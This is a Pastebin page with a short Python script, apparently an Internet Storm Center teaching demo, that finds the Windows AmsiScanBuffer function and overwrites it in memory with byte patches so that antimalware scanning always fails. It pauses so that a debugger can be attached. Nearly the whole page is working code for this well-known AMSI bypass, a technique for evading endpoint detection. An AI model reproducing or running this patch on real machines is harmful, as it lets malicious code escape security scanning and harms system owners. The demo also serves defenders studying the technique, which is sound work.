Advertisement
xme

Python Live-Patching Demo

xme
Aug 29th, 2024
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.01 KB | Cybersecurity | 0 0
  1. #
  2. # Live-patching demo
  3. # Internet Storm Center - Xavier Mertens
  4. # 2024/08/29
  5. #
  6. from ctypes import windll
  7. from ctypes import wintypes
  8. import ctypes
  9. import platform
  10. import sys
  11. import time
  12.  
  13. print("Attach a debugger to this process and press ENTER when ready")
  14. input()
  15.  
  16. kernel32 = windll.kernel32
  17. LoadLibraryA = kernel32.LoadLibraryA
  18. LoadLibraryA.argtypes = [wintypes.LPCSTR]
  19. LoadLibraryA.restype = wintypes.HMODULE
  20. GetProcAddress = kernel32.GetProcAddress
  21. GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
  22. GetProcAddress.restype = ctypes.c_void_p
  23. VirtualProtect = kernel32.VirtualProtect
  24. VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD]
  25. VirtualProtect.restype = wintypes.BOOL
  26. RtlMoveMemory = kernel32.RtlMoveMemory
  27. RtlMoveMemory.argtypes = (wintypes.LPVOID, wintypes.LPVOID, ctypes.c_size_t)
  28. RtlMoveMemory.restype = wintypes.LPVOID
  29. GetModuleHandleA = kernel32.GetModuleHandleA
  30. GetModuleHandleA.argtypes = [wintypes.LPCSTR]
  31. GetModuleHandleA.restype =  wintypes.HMODULE
  32.  
  33. RWX = 0x40  # PAGE_EXECUTE_READ_WRITE
  34.  
  35. if platform.architecture()[0] == '64bit':
  36.     #print('[*] using x64 based patch')
  37.     patch = (ctypes.c_char * 6)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
  38. if platform.architecture()[0] != '64bit':
  39.     #print('[*] using x86 based patch')
  40.     patch = (ctypes.c_char * 8)(0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00)
  41.  
  42. p = GetProcAddress(LoadLibraryA(b"amsi"), b"AmsiScanBuffer")
  43.  
  44. print("AmsiScanBuffer() found at this address: 0x%x" % p)
  45. print("In the debugger, jump to this address and check the code")
  46. print("Press ENTER to continue")
  47. input()
  48. oldprotect = wintypes.DWORD(0)
  49. VirtualProtect(p, ctypes.sizeof(patch), RWX, ctypes.byref(oldprotect))
  50. RtlMoveMemory(p, patch, ctypes.sizeof(patch))
  51. VirtualProtect(p, ctypes.sizeof(patch), oldprotect, ctypes.byref(oldprotect))
  52.  
  53. print("AmsiScanBuffer() successfully patched")
  54. print("Go back to the previous addresses in the debugger and check the patched code!")
  55. print("Press ENTER to quit")
  56. input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement